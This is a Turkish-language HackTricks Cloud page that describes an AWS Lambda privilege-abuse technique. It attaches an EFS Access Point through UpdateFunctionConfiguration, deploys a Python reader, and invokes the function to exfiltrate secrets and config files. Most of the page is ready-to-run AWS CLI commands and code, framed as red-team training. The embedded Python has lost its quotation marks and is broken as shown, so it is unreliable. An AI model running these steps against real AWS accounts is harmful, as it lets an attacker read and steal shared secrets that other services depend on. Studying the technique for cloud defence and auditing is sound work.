AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Veri Hırsızlığı)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
lambda:UpdateFunctionConfiguration’ı kötüye kullanarak mevcut bir EFS Access Point’i bir Lambda’ya iliştirin; ardından bağlanan dizinden dosyaları listeleyen/okuyan basit bir kod dağıtarak fonksiyonun daha önce erişemediği shared secrets/config’i exfiltrate edin.
Gereksinimler
- Hedef hesap/principal üzerinde gereken izinler:
lambda:GetFunctionConfigurationlambda:ListFunctions(fonksiyonları bulmak için)lambda:UpdateFunctionConfigurationlambda:UpdateFunctionCodelambda:InvokeFunctionefs:DescribeMountTargets(mount target’ların varlığını doğrulamak için)- Ortam varsayımları:
- Hedef Lambda VPC etkinleştirilmeli ve subnet’leri/SG’leri EFS mount hedef SG’sine TCP/2049 üzerinden ulaşabilmeli (ör. role has AWSLambdaVPCAccessExecutionRole ve VPC routing izin veriyor).
- EFS Access Point aynı VPC içinde olmalı ve Lambda subnet’lerinin AZ’lerinde mount target’lara sahip olmalı.
Saldırı
- Değişkenler
REGION=us-east-1
TARGET_FN=<target-lambda-name>
EFS_AP_ARN=<efs-access-point-arn>
- EFS Access Point’i Lambda’ya bağlayın
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
--region $REGION
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
- Kodu, dosyaları listeleyen ve aday secret/config dosyasının ilk 200 baytına göz atan basit bir okuyucu ile üzerine yaz.
cat > reader.py <<PY
import os, json
BASE=/mnt/ht
def lambda_handler(e, c):
out={ls:[],peek:None}
try:
for root, dirs, files in os.walk(BASE):
for f in files:
p=os.path.join(root,f)
out[ls].append(p)
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
if cand:
with open(cand,rb) as fh:
out[peek] = fh.read(200).decode(utf-8,ignore)
except Exception as ex:
out[err]=str(ex)
return out
PY
zip reader.zip reader.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
# If the original handler was different, set it to reader.lambda_handler
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
- Fonksiyonu çağır ve veriyi al
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json
Çıktı, /mnt/ht altındaki dizin listesini ve EFS’ten seçilmiş bir secret/config dosyasının küçük bir önizlemesini içermelidir.
Impact
Belirtilen izinlere sahip bir saldırgan, hedef Lambda fonksiyonlarına rastgele in-VPC EFS Access Points bağlayarak, daha önce o fonksiyon için erişilemeyen EFS üzerinde saklanan paylaşılan yapılandırma ve secrets’i okuyup exfiltrate edebilir.
Cleanup
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

